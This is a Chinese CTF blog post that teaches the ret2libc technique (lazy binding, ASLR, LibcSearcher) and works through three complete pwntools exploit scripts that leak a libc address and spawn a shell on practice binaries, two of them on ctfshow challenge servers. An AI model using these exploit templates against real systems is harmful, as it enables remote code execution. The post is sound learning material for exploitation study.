前置知识点

实际上,在之前的ret2libc题目中,我们还没有接触到ret2libc的核心,因为plt表里是存在现成的system的,但是大多数题目中,根本就没有出现或者引用过system函数,即使动态表里有system函数,程序也不会建立对应的plt表

因此,我们必须要知道system函数的地址,即进行经典的泄露libc的操作,这对于我们对ROP链的使用要求又上了一个台阶,因此我个人认为这一块到了pwn里真正开始上难度的地方了

在开始之前,我们必须要知道几个前置知识点,每一块想要掌握都需要费一番功夫

延迟绑定机制

我们知道,在动态链接时,我们需要从动态链接库链接外部函数,那么这个链接外部函数的过程是怎么样的呢

实际上,程序在第一次调用某个外部函数前,程序是不知道这个函数的具体位置的,也只有在第一次调用时,它才会去找这个函数在libc里的真实地址

每次执行 func@plt 时,程序首先执行 jmp [got.func],即jmp到got表里对应函数的地址,接下来程序会做一个判断:

如果 GOT 中记录的是跳板地址(还没有被解析),也就是ida里看到的offset func地址,则会 push index 后跳到 plt[0],plt[0]是所有函数第一次被调用时的公共入口,从这里开始解析函数地址,plt[0]调用动态链接器ld.so,开始查找该函数在libc的真实地址,把真实地址写入GOT表,后续可以直接从got表里调用,不用再经过复杂的plt表解析函数地址

如果 GOT 中记录的是真实函数地址(解析完成),就直接跳过去调用真实函数

我们需要重点了解第一种情况,即函数第一次被调用的过程

实际上,第一次借助plt表寻找函数的真实地址是一个相对复杂的过程,我只解释到表面的过程,底层的原理这个博主讲的很详细

https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/

ALSR技术

在 Linux 系统中,栈随机化已经变成了标准行为。 它是更大的一类技术中的一种,这
类技术称为地址空间布局随机化(Address-Space Layout Randomization), 或者简称 ASLR
[99] 。采用 ASLR, 每次运行时程序的不同部分,包括程序代码、库代码、栈、 全局变最
和堆数据,都会被加载到内存的不同区域。 这就意味着在一台机器上运行一个程序,与在
其他机器上运行同样的程序,它们的地址映射大相径庭。这样才能够对抗一些形式的
攻击

以上出自《CSAPP》3.10.4 对抗缓冲区溢出攻击

在现代 Linux 系统中,ASLR 通常是全局开启的

PIE保护和ASLR技术的关系

如果程序没有开启 PIE,即使 ASLR 开启,攻击者仍然可以利用固定的代码地址来构造 ROP 链(因为代码基址不变)

只有当 PIE 和 ASLR 同时开启时,一个进程的所有关键内存区域(代码、全局数据、栈、堆、动态链接库)的地址才会全部被随机化,使得攻击者难以预测任何地址

以下的题目PIE保护全都是关的,所以正如上所说,我们可以用基址和偏移去计算,有公式:

真实地址 = 基址 + 偏移

我们一个个来看,实际上,ASLR导致了libc的基址是随机的,这就需要我们自己泄露。我们知道,got表里存放着函数的真实地址,因此,我们可以在got表找出某一个函数func1,打印其地址,就得到了该函数的真实地址

我们需要知道,每个版本的libc库,函数地址的偏移量是固定的,换句话说,我们需要知道我们的程序调用的是哪个版本的libc库,从而知道不同函数对应的偏移量

我们用打印出的func1的真实地址减去偏移量,就能得到libc的基址,然后加上对应函数(如system函数)的偏移,就可以得到该函数的真实地址了

手动计算

这种情况适用于题目给了libc.so.6和ld-linux-x86-64.so.2文件,目前我还没有遇到过这种题,因此暂时按下不表

LibcSearcher的使用

如果题目只给了一个ELF二进制文件,那么我们可以用LibcSearcher去查找使用的libc库

首先讲讲它的工作原理,一般来说,libc的基址以0xf7开头

LibcSearcher内置了大量 libc 的函数偏移数据库,它通过泄露的实际地址减去偏移反推 libc 基址,再通过不断尝试,匹配出最可能的libc,也就是0xf7开头的,如果我们泄露多个函数时,它会交叉过滤,最终锁定正确的libc版本,将该版本的libc偏移量返回给我们

exp鉴赏

因为本篇ret2libc进阶的内容非常重要,也是最常考的,为了能够快速上手并且深刻理解,我先分析一下一些比较经典的exp,我认为看的多了,写的时候就有思路了

当然说这些还是纸上谈兵,后面实战演练时我们会在靶场打一打

eg1:ctfwiki 基本ROP ret2libc3

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
#__libc_start_main这个函数比较特别
#使用它是因为它在所有ELF中都存在,偏移稳定,最容易唯一匹配libc
#并且LibcSearcher里通常会有这个函数

print("leak libc_start_main_got addr and return to main again")
#开始第一阶段泄露

payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
#[A填充 112字节]
#return address = puts@plt
#next return = main
#参数 = libc_start_main@got


print("get the related addr")
libc_start_main_addr = u32(sh.recv(4))
#接收泄露出的地址
#接收前四个字节,u32按照小端序,打印成整数

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#libc基址=libc_start_main地址-libc_start_main的偏移

system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#计算system和bin/sh的实际地址

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
#其实我也没看明白为什么偏移量和第一次的不一样
#AI的解释是我们是通过puts ret到的main,并不是正常返回
#因此少了puts 的 saved EBP + ret共8个字节

sh.sendline(payload)

sh.interactive()

32位系统 无system无bin/sh字符串

eg1:ctfshow pwn45

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

return read(0, buf, 0xC8u);
}

我们本地启动简单看一下,实际上程序并不复杂,输出了字符串O.o?后让我们输入

左侧函数窗口函数不多,可以肯定是动态链接

我们重点看一下我框起来的,粉色区域加粗的函数说明是从外部的libc库中调用的,这是我们重点关注对象

在got表里看一下,确实是这五个函数。这里要注意我们的got表在ida里是.got.plt表,不是.plt.got表,后者没什么用

我们用libcsearcher需要提供任意一个函数就可以了,我这里随便选一个libc_start_main_

下面展示一下我根据ctfwiki改编的exp,无AI。每一段我之前已经解读过了,就不再解读了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.binary = './pwn'

#sh = process('./pwn')
sh = remote('pwn.challenge.ctf.show', 28144)
pwn = ELF('./pwn')

puts_plt = pwn.plt['puts']
libc_start_main_got = pwn.got['__libc_start_main']
main = pwn.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * (0x6B+0x4), puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'O.o?', payload)

print("get the related addr")
libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' *(0x6B+0x4) , system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

打通后,libcsearcher匹配到了两个可能的libc版本,我们输入0或者1挨个试一下就可以了,这里用第二个版本打通了

64位系统 无system无bin/sh字符串

eg2:ctfshow pwn46

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEuLL);
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[112]; // [rsp+0h] [rbp-70h] BYREF

return read(0, buf, 0xC8uLL);
}

程序和上一题没什么太大区别,具体我不细贴了,我们直接看一下我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.binary = './pwn'

#sh = process('./pwn')
sh = remote('pwn.challenge.ctf.show', 28280)
pwn = ELF('./pwn')

puts_plt = pwn.plt['puts']
libc_start_main_got = pwn.got['__libc_start_main']
main = pwn.symbols['main']

#以上套模板照抄

offset = 0x70 + 0x8
ret_addr = 0x4004fe
pop_rdi_addr = 0x400803

#ROPgadget算一下

print("leak libc_start_main_got addr and return to main again")
payload = b'A' * (0x70+0x8)
payload += p64(pop_rdi_addr)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(main)
sh.sendlineafter(b'O.o?', payload)

print("get the related addr")
libc_start_main_addr =u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#注意接收libc地址的方式不同

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

#以上计算过程套模板照抄

print("get shell")
payload = b'a'*(0x70+0x8)
payload += p64(pop_rdi_addr) #pop rdi
payload += p64(bin_sh_addr) #bin/sh
payload += p64(ret_addr) #ret
payload += p64(system_addr) #system
sh.sendline(payload)
sh.interactive()

总结

32位和64位exp的对比

相比于32位的exp,64位的exp有如下改动:

1.libc_start_main_addr =u64(sh.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))

2.两段payload不同

32位payload1:调用puts,设置返回地址为main,设置puts参数为libc函数

64位payload2:pop rdi寄存器,将libc参数放进rdi寄存器,调用puts函数,返回地址为main

32位payload2:覆盖返回地址为system,设置system返回地址为虚假地址,设置system参数为bin/sh

64位payload2:pop rdi寄存器,将libc参数放入rdi寄存器,ret保证栈堆平衡,调用system函数

结语

这篇博客是我目前为用时最久的一篇,exp没有依靠也依靠不了AI编写,仅用了AI讲解基础知识点,自己做出来的时候还是挺高兴的

可以说从这里开始,我们对ROP链的使用更上了一个台阶。可以看到,无system的题型虽然比有system的题型考的多也考的难,比如我们第一次用了两次payload。但是,这些依然离不开之前的基础,重点还是要理解32位和64位的传参方式及其区别,以及函数调用约定,栈是如何分布和增长的等。不可否认做题可以套模板,但是套模板的同时一定要做到理解背后的原理,清楚的知道自己每一步在干什么,而不是生搬硬套,这样就失去了做题的意义了